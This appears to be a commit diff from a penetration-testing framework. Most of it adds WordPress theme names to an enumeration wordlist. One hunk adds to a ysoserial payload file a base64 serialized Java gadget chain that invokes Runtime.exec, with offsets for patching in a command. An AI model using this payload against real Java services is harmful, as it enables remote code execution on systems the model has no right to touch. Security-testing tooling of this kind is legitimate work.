 skt-construction-lite
@@ -17127,6 +17894,7 @@ skt-girlie
 skt-girlie-lit
 skt-girlie-lite
 skt-girly-lit
+skt-green
 skt-gym
 skt-gymmaster
 skt-handy
@@ -17139,6 +17907,8 @@ skt-local-business
 skt-luxury
 skt-magazine
 skt-meditation
+skt-minimal
+skt-mosque
 skt-parallaxme
 skt-pathway
 skt-photo-session
@@ -17183,6 +17953,7 @@ skymons
 skypal
 skype-style
 skysnow
+skyspa-lite
 skytheme
 skyweb-delivery
 skywp
@@ -17256,6 +18027,7 @@ smart-blogr
 smart-blogs
 smart-blue
 smart-cat
+smart-cleaning
 smart-magazine
 smart-reviewer-demo
 smart-shopper
@@ -17268,6 +18040,7 @@ smartbiz
 smartblog
 smarter
 smartfix
+smartfund
 smartline
 smartline-lite
 smartnews
@@ -17317,6 +18090,7 @@ sn-adaptive
 sn-themes-education
 snag
 snake-eye
+snappy
 snaps
 snapshoot
 snapshot
@@ -17346,6 +18120,7 @@ so-lution
 so-orange
 so-simple
 so-simple-75
+so-store
 sobe
 sobeauty
 sober
@@ -17415,6 +18190,7 @@ solange
 solanum
 solar-concern
 solar-lite
+solar-power
 solemntextile
 solenza
 solid
@@ -17465,6 +18241,7 @@ sornersboom-uri-httpsafthemes-comproductssornersboom
 sorted
 sosimple
 soul-train-2012
+soulgazzet
 soumya
 soundcast
 soundstage
@@ -17478,6 +18255,7 @@ sp-mdl
 spa
 spa-and-salon
 spa-lite
+spa-salon
 spaa
 spabeauty
 space
@@ -17503,6 +18281,7 @@ spark-construction-lite
 spark-news
 sparker
 sparkg
+sparkleheart
 sparkles-nursery
 sparkles-nursery-theme
 sparklestore
@@ -17539,6 +18318,7 @@ spectre
 spectrewp
 spectrum
 spectrumstarter
+specular-lite
 speculate
 speculor
 speed
@@ -17548,6 +18328,7 @@ speedcars
 speedly
 speedseo-fastload
 speedster
+speedup-store
 speedy
 spesa-twenty-eleven-child-by-iografica-it
 sphere
@@ -17556,9 +18337,13 @@ sphinx
 sphinx-theme-uri-httpwww-wpcy-net
 sphinx-uri-httpwww-wordpress
 sphinx-uri-httpwww-wordpress-org
+spice-software
+spice-software-dark
 spiceblue
 spicepress
+spicepress-dark
 spicy
+spicy-recipe
 spicy-typography
 spider
 spiderbuzz-bizintro
@@ -17567,6 +18352,8 @@ spiderman-v4
 spiderprime
 spiff
 spiffy-lite
+spiko
+spiko-dark
 spin-your-music
 spin-your-music-offical
 spina
@@ -17582,6 +18369,7 @@ spirosine
 spk_xhtml_rdfa_1_parent
 splash
 splashing
+splashnews
 splatter
 splendid-portfolio
 splendid-portfolio-2
@@ -17617,6 +18405,7 @@ sportnewspvm
 sportpress
 sports-blog
 sports-club-lite
+sports-lite
 sports-magazine
 sports-theme
 sportsmag
@@ -17701,6 +18490,7 @@ stan512
 standard-lite
 standard-two-column
 standardlite
+standardnewske
 standardpack
 standout
 stans-lite
@@ -17752,17 +18542,22 @@ startkit
 startpoint
 startright
 startup
+startup-agency
 startup-blog
 startup-business
 startup-elentra
 startup-free
 startup-hub
 startup-lite
+startup-shop
+startup-techup
 startupbiz-lite
 startupwp
+startus
 state-of-mind
 statement
 states
+statex
 static
 static-mag
 statice
@@ -17793,6 +18588,7 @@ stella
 stellar
 stellasss
 stephstheme
+steps-dance-academy
 sterndal
 steven
 steves-desk-mess
@@ -17834,6 +18630,7 @@ store-wp
 store123
 store99
 stoready
+storebiz
 storecommerce
 storedesign
 storefron
@@ -17849,10 +18646,12 @@ storekeeper
 storeluda
 storemax
 storement
+storenumberonetheme
 storeone
 storer
 storeship
 storevilla
+storewise
 storexmas
 storeystrap
 stork
@@ -17860,6 +18659,7 @@ storrr
 stortech
 storto
 story
+story-hub
 story-magazine
 storyboard-comics
 storyboard-comics-theme
@@ -17868,10 +18668,12 @@ storyline-board-share-on-theme123-net
 storyteller
 storytime
 storytime-pro
+storyyellers
 stout
 stout2
 stowbot
 stp-accessibility
+stpress
 straight-blue
 straight-corner
 straight-up
@@ -17887,6 +18689,7 @@ strategie-temp
 strategie3
 strategie_ug
 stratum
+stratusx
 strawberry-blend
 strawberry-blend-10
 streak
@@ -17945,10 +18748,13 @@ stupidgenius
 stupidzombie
 sturd
 sturdy
+stygian
+stygian-light
 style-59
 style-blog
 style-blog-fame
 style-css
+style-mag
 style-outlet
 style-shop
 styleblog
@@ -17981,6 +18787,7 @@ subh-lite
 sublime
 sublime-blog
 sublime-blogger
+sublime-journal
 sublime-press
 sublime-theme
 sublimepress
@@ -18013,6 +18820,7 @@ suited
 suits
 sujan
 sukelius-magazine
+sukha
 suki
 sukra
 sukritinews-uri-httpswww-themehorse-comthemesnewscard
@@ -18046,6 +18854,7 @@ sun
 sun-city
 sun-village
 sundance
+sundarbans-blog
 sunday
 sunday-news-lite
 sunflower
@@ -18087,8 +18896,10 @@ super-simple-photo-blog
 super-theme
 superads-lite
 superb
+superb-education
 superb-landingpage
 superb-lite
+superb-marketplace
 superbiz
 superblog
 superblog-compact
@@ -18100,16 +18911,19 @@ superhero
 superior
 superior-com
 superjackasstheme
+superkit
 supermag
 supermagpro
 supermarket
 supermarket-ecommerce
+supermart-ecommerce
 supermodne
 supermoon
 supernatural
 supernews
 supernews-val
 supernova
+superpress
 superslick
 supersport
 superstore
@@ -18180,6 +18994,7 @@ swift-lite
 swift-premium-lite
 swiftbiz
 swiftbiz-lite
+swiftly
 swiftmag
 swiftone
 swiftpress
@@ -18234,6 +19049,7 @@ ta-magazine
 ta-newspaper
 ta-portfolio
 tabataba
+tabib-hospital
 table-notes
 tabloid
 tabu-store
@@ -18314,12 +19130,14 @@ tarski-new
 tartines
 tashan
 tasman
+tasnia-portfolio
 taste
 taste-of-san-francisco
 tastie
 tasty
 tastybite
 tastyplacement
+tastypress
 tasveer
 tattoo-expert
 tattoo-wow
@@ -18344,6 +19162,7 @@ tdsimple
 tdt-one
 tdtasko
 tdvoice
+teach-kiddo
 teak
 teal
 team
@@ -18363,7 +19182,9 @@ tech-consultant
 tech-freak
 tech-grunge
 tech-literacy
+tech-software-company
 tech-solution-friends
+tech-startup
 tech-teller
 tech-theme
 tech2
@@ -18393,6 +19214,7 @@ technews
 technic
 technical-blue
 technical-speech
+technify
 techno
 techno-biz
 techno-blue-theme
@@ -18430,6 +19252,17 @@ tectale-spring
 tectale-sunset
 tectale-tweety
 teczilla
+teczilla-agency
+teczilla-business
+teczilla-consulting
+teczilla-corporate
+teczilla-creative
+teczilla-dark
+teczilla-finance
+teczilla-organization
+teczilla-portfolio
+teczilla-startup
+teczilla-trading
 tedi
 tedxwc
 teen-seventeen
@@ -18453,6 +19286,7 @@ telugupatrikamag
 teluro
 tema-882-nb
 tema-de-ejemplo
+tema-seo
 tema-teste-annagaud
 temaedarwin-uri-httpsaccesspressthemes-comwordpress-themesparallaxsome
 temanyadaengganteng
@@ -18478,6 +19312,7 @@ temptation
 tenacity
 tender-spring
 tenera
+tenet
 tenocation
 tentblogger-content
 teribel
@@ -18514,6 +19349,7 @@ testtheme-uri-httpsthemegrill-comthemesspacious
 testufmvm
 tet28
 tet30
+teta-lite
 tethys
 tetra
 teuton-theme
@@ -18522,6 +19358,7 @@ texezo
 text-editor
 textback
 textbook
+textdash
 texton
 texton-blue
 textwp
@@ -18535,6 +19372,7 @@ tg-orange-mini
 tgame
 tgmpa_test
 th-blogging
+th-store
 thai-spa
 thallein
 thalliumwp
@@ -18549,12 +19387,14 @@ thatsimple
 thbusiness
 thclassic
 the-adjustbar-two-column-left-right-side-bar-default-widget
+the-adventure-journal
 the-angle
 the-architect-website
 the-artister
 the-ataraxis
 the-authority
 the-automobile
+the-baseline
 the-beach
 the-beach-house
 the-best
@@ -18601,6 +19441,9 @@ the-erudite
 the-espresso
 the-essayist
 the-event
+the-event-blog
+the-event-construction
+the-event-dark
 the-evol
 the-evol-theme
 the-exe
@@ -18697,6 +19540,8 @@ the-thinker-lite
 the-thinker-lite-theme
 the-thinker-theme
 the-top-ten-cool-facts
+the-tour-operator
+the-travel-booking
 the-trends
 the-twenty-sixteen
 the-two
@@ -18767,6 +19612,7 @@ theme-starter
 theme01
 theme_sunshine
 themealley_business
+themecamp
 themeestelle
 themelia
 themelia-basic
@@ -18807,6 +19653,7 @@ theorys
 thephantom
 thepriority
 thereader
+therestaurants
 thermal
 theron-lite
 theron-pro
@@ -18833,6 +19680,7 @@ thethemebyme
 thetirral
 theub
 thevala
+thevoice
 thewest
 thewin
 theworldin35mm
@@ -18892,6 +19740,7 @@ tidy-focus
 tidymag
 tienda
 tienda-basic
+tiffany-lite
 tifology
 tiga
 tiger
@@ -18952,6 +19801,7 @@ tish4
 tish5
 tishofree
 tissues-box
+tista
 titan
 titanic
 titanica
@@ -19017,8 +19867,10 @@ toolkit
 toommorel-lite
 toommorel-theme-by-inkthemes
 toothpaste
+top-blog
 top-business
 top-classic-cars
+top-event
 top-jewelry
 top-language-jobs-2
 top-mag
@@ -19026,6 +19878,7 @@ top-premium-photoblog
 top-shop
 top-store
 top-story
+top-travel
 top5revs
 topauto
 topbest
@@ -19033,6 +19886,7 @@ topcat
 topcat-lite
 toperator
 topessaywriting
+topfaida-a3
 topmag
 topnews
 topr
@@ -19065,7 +19919,9 @@ tour
 tour-agency
 tour-operator
 tour-package
+tour-traveler
 tourable
+tourag
 touring-zone
 touring-zone-lite
 tourism-trud
@@ -19075,6 +19931,7 @@ touristblog
 tours-and-travel
 tours-and-travels
 tours-operator
+tove
 township-lite
 tp-autumn
 tp-blue
@@ -19098,6 +19955,8 @@ trade
 trade-business
 trade-hub
 trade-line
+tradebiz
+tradeup
 trading
 traff
 traffic
@@ -19127,17 +19986,22 @@ transparency
 transparency-1
 transparent
 transparent-box
+transpo-x
 transport-gravity
 transport-lite
 transport-movers
+transport-solutions
 transportation
 transportex
+transporty
 travbo
 trave
 travel
 travel-ace
 travel-advisor
 travel-agency
+travel-agency-booking
+travel-and-tour
 travel-away
 travel-base
 travel-blog
@@ -19160,6 +20024,7 @@ travel-eye
 travel-eye12312312
 travel-gem
 travel-guide
+travel-hub
 travel-in-italy
 travel-in-love
 travel-insight
@@ -19167,6 +20032,7 @@ travel-inspired
 travel-is-my-life
 travel-is-my-life2
 travel-joy
+travel-life
 travel-lifestyle
 travel-lite
 travel-log
@@ -19178,6 +20044,7 @@ travel-minimalist-blogger
 travel-nomad
 travel-notes
 travel-ocean
+travel-one
 travel-planet
 travel-power
 travel-route
@@ -19190,6 +20057,7 @@ travel-tourism
 travel-trek
 travel-trip-lite
 travel-ultimate
+travel-voyage
 travel-way
 traveladdict-lite
 traveladdict-liteliye
@@ -19209,6 +20077,7 @@ travelifestyle
 travelify
 travelingist
 travelkit
+travellable
 travellandia
 travellator
 traveller
@@ -19223,6 +20092,7 @@ travelore
 travelstore
 traveltheme
 travern
+traverse-blog
 traverse-diary
 traversify-lite
 travia
@@ -19254,6 +20124,7 @@ trendy
 trendy-green
 tressimple
 treville
+treviso
 trexo
 triad
 trial
@@ -19284,6 +20155,7 @@ triof-responsive-theme
 tripadvisor-map-theme
 triphop
 triphop-theme
+tripify
 tripix
 triplec
 trisense
@@ -19318,6 +20190,7 @@ trusted
 trustnews
 trvl
 tryitfree
+tryvary
 ts
 ts-365
 ts-365-taraba-software
@@ -19375,10 +20248,12 @@ tutepress
 tutifruti
 tuto
 tutor
+tutor-starter
 tutorial
 tutorial-portfolio
 tutorial-theme
 tutorialesmanu
+tutorstarter
 tutsup-two
 tuấn-hiệp
 tv-boy-explode-black
@@ -19399,6 +20274,7 @@ tweaker2-theme
 tweaker3
 tweaker4
 tweaker5
+tweb-blog-design
 tweb-business
 tweeble-plus
 tweet-molon
@@ -19552,6 +20428,8 @@ twenty-twelve1
 twenty-twelvegaeta
 twenty-twelvetwentytwelve-1-7
 twenty-twenty-child
+twenty-twenty-one-child
+twenty-twenty-one-sidebar
 twenty-twenty-onee
 twenty-twenty-plus
 twenty-twenty20
@@ -19581,6 +20459,7 @@ twentytwelve-custom
 twentytwelve-schema-org-child
 twentytwenty
 twentytwentyone
+twentytwentyone-child-wooden
 twentyxlarge
 twentyxs
 twentyxs-child
@@ -19682,8 +20561,10 @@ ultimate-showcase
 ultra
 ultra-bootstrapthemes
 ultra-framework
+ultra-gym
 ultra-lite
 ultra-lite-blog
+ultra-mag
 ultra-mart
 ultra-minimal-blog
 ultra-news
@@ -19703,6 +20584,7 @@ umb
 umbra
 un-jour-en-hiver
 una
+unakit
 unar
 unar-lite
 unax
@@ -19739,6 +20621,7 @@ unfocus-green
 unfocused-blues
 unfold
 uni-education
+unicare-lite
 unicon
 unicon-lite
 unicons
@@ -19750,12 +20633,14 @@ unifield2
 uniform
 unify
 unik
+unikforce
 unionbay
 unionpress
 uniq
 unique
 unique-blog
 unique-munk
+unique-techup
 unisco
 unish
 unit
@@ -19768,6 +20653,7 @@ uniteyy
 unity
 unity-theme
 universal
+universal-academy
 universal-blog
 universal-green
 universal-lite
@@ -19790,11 +20676,13 @@ unnamed-tabloid
 unoblog-lite
 unocfla
 unos
+unos-bizdeck
 unos-business
 unos-glow
 unos-magazine-black
 unos-magazine-vu
 unos-minima-shop
+unos-news
 unos-publisher
 unos-store-bell
 unplugged
@@ -19817,8 +20705,11 @@ update-tucson
 updown-cloud
 upeo
 upeo-business
+upfrontwp
+upify
 upliftingblog
 uplodadzip
+uportfolio
 upright
 upseo
 upside-lite
@@ -19850,6 +20741,7 @@ usain
 usama
 use-your-brains
 user-friendly
+userr987
 usertheme
 usha
 ushop
@@ -19934,6 +20826,7 @@ vbasic
 vblog
 vbseo-style-20-wordpress-theme
 vcard
+vcard-cv-resume
 vcards
 vcloud
 vdequator
@@ -19949,6 +20842,7 @@ vectorbubbles
 vectorbutterflies
 vectorleaves
 vectorlover
+vedic-spa
 vega
 vegan
 veganos
@@ -19967,6 +20861,7 @@ velvet
 vend
 vender
 venditore
+vendorfuel
 vengeful-spirit
 venice
 venice-blue
@@ -20052,6 +20947,7 @@ victorian-xmas
 victoriana
 video
 video-adventure-theme
+video-blog
 video-sport-total
 video-theme-adventure
 videoblog
@@ -20061,6 +20957,7 @@ videofy
 videographex
 videography
 videomag
+videomaker
 videomax
 videonowlite
 videoplace
@@ -20088,6 +20985,7 @@ viking
 vikiworks-infinity
 viktor-classic
 viktor-lite
+villa-estate
 village
 vilva
 vina
@@ -20115,14 +21013,17 @@ viomag
 viotheme
 vip-business
 vip-business-dark
+vip-business-nature
 viper
 viral
 viral-1k
 viral-blog
+viral-mag
 viral-news
 viral-youtube-traffic
 viralblog-lite
 viralfree
+viralike
 virality
 viralline
 virallt-theme-uri-httpsthemecountry-comvirallt
@@ -20137,6 +21038,7 @@ virgulition
 viridescence
 viridi
 virk-athlete
+virtual-conference
 virtual-height
 virtual-sightseeing
 virtually-2-moms-uri-httpswordpress-orgthemesvirtually2moms
@@ -20144,6 +21046,7 @@ virtue
 virtue02
 virtue1
 virtue99
+virtueandvice
 virtuel-sushi
 virtuetshrt
 visahub-lite
@@ -20168,8 +21071,10 @@ visual-violent
 visualblog
 visualize
 vita
+vital-corporate
 vito
 vitrals
+vivace
 vivacia
 vivacious-magazine
 vivacity
@@ -20205,6 +21110,7 @@ voltata
 voltbase
 voluptas-from-dotpwx
 volusion-retro
+voluto
 voobis
 voodoo-empire-2
 vortex
@@ -20257,6 +21163,7 @@ vw-food-corner
 vw-furniture-carpenter
 vw-gardening-landscaping
 vw-hair-salon
+vw-handyman-services
 vw-health-coaching
 vw-healthcare
 vw-hospital-lite
@@ -20287,12 +21194,14 @@ vw-school-education
 vw-security-guard
 vw-solar-energy
 vw-spa-lite
+vw-sports
 vw-startup
 vw-storefront
 vw-tour-lite
 vw-transport-cargo
 vw-travel
 vw-wedding
+vw-wellness-coach
 vw-writer-blog
 vw-yoga-fitness
 w-film
@@ -20325,6 +21234,7 @@ w7c_iz
 wabc
 wabi-sabi
 wacko
+wacool-hack-on-the-net
 waffle
 waheib
 wajistar
@@ -20332,6 +21242,9 @@ wakka-business
 waleed
 waleed-ahmed
 walili
+walker-charity
+walkermag
+walkernews
 wall-street
 wallflower
 wallgreen
@@ -20377,6 +21290,7 @@ watercolor
 waterloo
 waternymph-and-dolphin
 waterside
+watsapbruh
 watson
 wau-comunicacion
 wave
@@ -20387,6 +21301,7 @@ wayne-blog-news
 wbhosts
 wbox
 wbsimple
+wbxpress
 wcag-theme-free
 wck2014
 wcolor
@@ -20394,6 +21309,8 @@ wcolor-responsive
 wd-comicmag
 wd-twenty-fourteen-child
 wdl-family-history
+we-are-the-youth
+we-are-writers
 we-build
 we-live
 weaver
@@ -20407,7 +21324,9 @@ web-20-simplified
 web-app
 web-artist
 web-conference
+web-design
 web-design-web8
+web-developer
 web-development
 web-grapple
 web-host
@@ -20437,6 +21356,7 @@ webet
 webgist
 webgrapple
 webify
+webinar-education
 webjunk
 weblizar
 weblizar-brown
@@ -20457,6 +21377,7 @@ websitesetup-business
 websitez-mobile-theme
 websopp
 websopp-grocery
+websopp-lab
 websopp-one
 webstarslite
 webstarterkitthirteen
@@ -20494,8 +21415,10 @@ weddlist
 weddmag
 wedlock
 wednesday
+wedshot
 wefoster
 weh-lite
+wehpy
 weight-loss-tea
 welcome
 welcomeholidays-uri-httpswordpress-orgthemestwentyseventeen
@@ -20507,9 +21430,15 @@ wellbeing-hospital
 wellington
 wellness
 wellness-child
+wellness-coach-lite
 wen-associate
 wen-business
+wen-commerce
 wen-corporate
+wen-travel
+wen-travel-blog
+wen-travel-dark
+wen-travel-modern
 wepora
 werka
 west
@@ -20529,6 +21458,7 @@ whatnew
 wheat
 wheat-lite
 wheat7
+wheelify
 whimsical-love
 whimsy-framework
 whiskey-air
@@ -20549,6 +21479,7 @@ white-clean
 white-dream
 white-gold
 white-grey
+white-nina
 white-on-blue
 white-orange
 white-pad
@@ -20564,6 +21495,7 @@ white-top-show
 white-turtle
 white-xmas
 whitebeans
+whiteblogs
 whiteblue
 whiteboard
 whiteboard64
@@ -20673,6 +21605,7 @@ wip-blog
 wipi
 wiral-lite
 wiredrive-classic
+wisdom-academy
 wisdom-blog
 wisdom-blog-123
 wisdom-bold
@@ -20708,6 +21641,7 @@ wodpresstheme-uri-httpwww-acmethemes-comthemessupermag
 wolf
 wolf-media-co
 wolf-starter
+wolfo
 women-clothing
 women-theme
 women_clothing
@@ -20717,9 +21651,11 @@ wondrous
 woo
 woobie
 wooclean
+woocommerce-starter
 wood-blog
 wood-house
 wood-is-good
+wood-master
 wood-people
 wood-theme
 woodberry
@@ -20728,6 +21664,7 @@ wooden-and-white-style
 wooden-by-jason
 wooden-default
 wooden-mannequin
+wooden-multipurpose
 wooden-simplicity
 wooden-stuudio
 wooden-theme-by-accuwebhostingcom
@@ -20806,6 +21743,7 @@ wordpress-universitas-indonesia
 wordpress-unix
 wordpress-video-theme
 words
+words-blog
 wordsmith
 wordsmith-anvil
 wordsmith-blog
@@ -20816,6 +21754,7 @@ wordy-themes
 wordzilla
 worf
 work-and-travel
+workart
 workflow
 workfree
 working-papers
@@ -20843,6 +21782,7 @@ wow-blue
 wow-fashion
 wow-pop
 wowmag
+wowmall
 wowpress
 wowsome
 wowza
@@ -20887,6 +21827,7 @@ wp-centrik
 wp-chocolate
 wp-christmas-theme
 wp-clean-green
+wp-clinic
 wp-coda-orange
 wp-colorized-theme
 wp-commerce
@@ -20895,7 +21836,9 @@ wp-contented
 wp-corporate
 wp-creativie
 wp-creativix
+wp-dark
 wp-dashboard-theme
+wp-deep-blue
 wp-dentist
 wp-diary
 wp-doppio
@@ -20963,6 +21906,7 @@ wp-news-stream
 wp-newsmagazine
 wp-nice-mix
 wp-notebook
+wp-notes
 wp-one
 wp-one-pager
 wp-opencart
@@ -20975,6 +21919,7 @@ wp-pendidikan
 wp-perfect
 wp-plumber
 wp-plus
+wp-poran-restaurant
 wp-portaltheme
 wp-portfolio
 wp-premium-orange
@@ -21019,7 +21964,9 @@ wp-thevalley
 wp-tiles
 wp-times
 wp-tour-package
+wp-travel-magazine
 wp-trie
+wp-trucker
 wp-tube-premium
 wp-twitter-bootstrap
 wp-uikit
@@ -21060,19 +22007,25 @@ wpburn-blue
 wpbus-d4
 wpbyd
 wpcake
+wpcan
 wpchimp-countdown
 wpclick
+wpcmart
+wpcmedical
 wpcomic
 wpcount
 wpcouponcode
+wpcplant
 wpcrest
 wpcrux
 wpcs-ocean
+wpcstore
 wpd-inspire
 wpdetail
 wpdev
 wpdm-2015
 wpdocs
+wpdraft
 wpeden-responsive
 wpelegance2col
 wpesp-portfolio-theme-coda
@@ -21170,6 +22123,7 @@ write-and-read-s
 write-and-read-v1-1
 write-blog
 write-blogging
+write-n-blog
 writee
 writee-child
 writee-grid
@@ -21229,6 +22183,7 @@ x-business
 x-corporate
 x-crop
 x-effect
+x-hub
 x-magazine
 x-mas
 x-portfolio
@@ -21257,6 +22212,7 @@ xevent-theme
 xfilter
 xflavour
 xfolio
+xhub-blog
 xi-portfolio
 xiando-one
 xianrensea
@@ -21282,6 +22238,8 @@ xonstruction
 xooblog
 xoxo
 xoxolite
+xpand-blog
+xpand-news
 xperson-lite
 xpinkfevertlx
 xpressmag
@@ -21290,10 +22248,13 @@ xproweb
 xq-wptheme-dsijakxq
 xseason
 xshop
+xshop-lite
+xshop-plus
 xsimply
 xt-corporate-lite
 xtempt
 xtheme
+xtra-free
 xtraroofing
 xtron
 xwb
@@ -21378,6 +22339,9 @@ yo-yo-po
 yo_fik
 yocto
 yoga
+yoga-coach
+yoga-fitness
+yoga-studio
 yoga_guru
 yogaclub-lite
 yogafitness
@@ -21446,6 +22410,7 @@ zada-news-theme
 zadot
 zaffre
 zag
+zago
 zaha-lee
 zakra
 zakra1
@@ -21500,6 +22465,7 @@ zeesynergie
 zeetasty
 zeevision
 zeko-lite
+zelia
 zelle-lite
 zemez
 zemix
@@ -21589,6 +22555,7 @@ zinglish
 zinnia
 zinnias-lite
 zion
+zion-blog
 zippy
 zircone
 zita
@@ -21607,6 +22574,7 @@ znktheme-uri-httpssketchthemes-compremium-themesappointment-booking-wordpress-th
 zodiac-lite
 zoe
 zoko
+zolog
 zombie
 zombie-apocalypse
 zombiehost
@@ -21614,11 +22582,13 @@ zomer
 zomernadia
 zomg
 zomghow
+zon
 zonaed
 zoner-lite
 zoner-lite-aks
 zonic
 zoo
+zoologist
 zoom-lite
 zoom-theme
 zoomify

data/ysoserial_payloads.json

@@ -317,6 +317,17 @@
     },
     "Wicket1": {
       "status": "unsupported"
+    },
+    "frohoff/ysoserial#168": {
+      "status": "dynamic",
+      "lengthOffset": [
+        553,
+        1742
+      ],
+      "bufferOffset": [
+        1743
+      ],
+      "bytes": "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAnamF2YS51dGlsLkNvbGxlY3Rpb25zJFJldmVyc2VDb21wYXJhdG9yZASK8FNOStACAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpTK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAACAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDABAB9MeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg="
     }
   },
   "bash": {

db/schema.rb

@@ -2,11 +2,11 @@
 # of editing this file, please use the migrations feature of Active Record to
 # incrementally modify your database, and then regenerate this schema definition.
 #
-# Note that this schema.rb definition is the authoritative source for your
-# database schema. If you need to create the application database on another
-# system, you should be using db:schema:load, not running all the migrations
-# from scratch. The latter is a flawed and unsustainable approach (the more migrations
